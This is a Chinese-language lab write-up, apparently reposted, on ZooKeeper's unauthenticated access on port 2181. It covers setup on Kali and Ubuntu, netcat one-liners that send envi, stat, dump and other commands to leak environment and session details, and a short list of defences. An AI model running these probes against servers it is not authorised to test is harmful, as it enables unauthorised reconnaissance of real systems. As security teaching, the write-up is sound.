ZooKeeper 未授權訪問漏洞


0x00 漏洞簡介

  • ZooKeeper是一個分布式的,開放源碼的分布式應用程序協調服務,是Google的Chubby一個開源的實現,是Hadoop和Hbase的重要組件。它是一個為分布式應用提供一致性服務的軟件,提供的功能包括:配置維護、域名服務、分布式同步、組服務等。
  • ZooKeeper默認開啟在2181端口,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。

0x01 環境搭建

測試機:Kali
靶機:Ubuntu
版本:zookeeper-3.4.14

分別在測試機和靶機都安裝zookeeper-3.4.14
安裝命令如下:

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz 
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 啟動

在這里插入圖片描述
搭建成功~~默認端口2181

0x02 漏洞證明

獲取該服務器的環境

echo envi|nc 192.168.246.130 2181

在這里插入圖片描述
。。。。
試下連接

./zkCli.sh -server  192.168.246.130 2181

在這里插入圖片描述
但是直接連接沒問題
打擾了 是我不配
搞了好一會 還是2181端口還是關閉的。。。
在這里插入圖片描述

0x03 漏洞利用

通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。
1、stat:列出關於性能和連接的客戶端的統計信息。

echo stat |ncat 127.0.0.1 2181

2、ruok:測試服務器是否運行在非錯誤狀態。

echo ruok |ncat 127.0.0.1 2181

3、reqs:列出未完成的請求。

echo reqs |ncat 127.0.0.1 2181

4、envi:打印有關服務環境的詳細信息。

echo envi |ncat 127.0.0.1 2181

5、dump:列出未完成的會話和臨時節點。

echo dump |ncat 127.0.0.1 2181

0x04 防御手段

1、修改 ZooKeeper 默認端口,采用其他端口服務。
2、添加訪問控制,配置服務來源地址限制策略。
3、增加 ZooKeeper 的認證配置。

0x05 參考

https://www.freebuf.com/column/170904.html
https://xz.aliyun.com/t/6103#toc-7


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM